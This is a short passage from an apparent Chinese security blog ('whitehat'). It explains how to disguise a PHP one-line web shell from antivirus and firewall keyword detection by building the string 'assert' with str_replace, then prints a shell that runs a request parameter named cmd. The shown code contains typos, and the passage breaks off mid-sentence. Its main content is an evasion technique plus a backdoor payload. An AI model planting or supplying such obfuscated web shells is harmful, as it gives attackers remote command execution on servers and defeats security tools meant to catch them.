whitehat的博客

web Shell变形 1.绕过杀毒软件的查杀 防火墙通常以关键字判断是否为一句话木马。 变形方法: 利用str_replace函数 在第三个参数中，查找第一个参数，并替换成第二个参数。这里就相当于删除abc。 <?php $a = str_replace("abc","","aabcsabcsabceabcrabct"); // $a=="assert"; $a($_REQUEST(["cmd"])); // assert($_REQUESTS(["cmd"])); ?> 利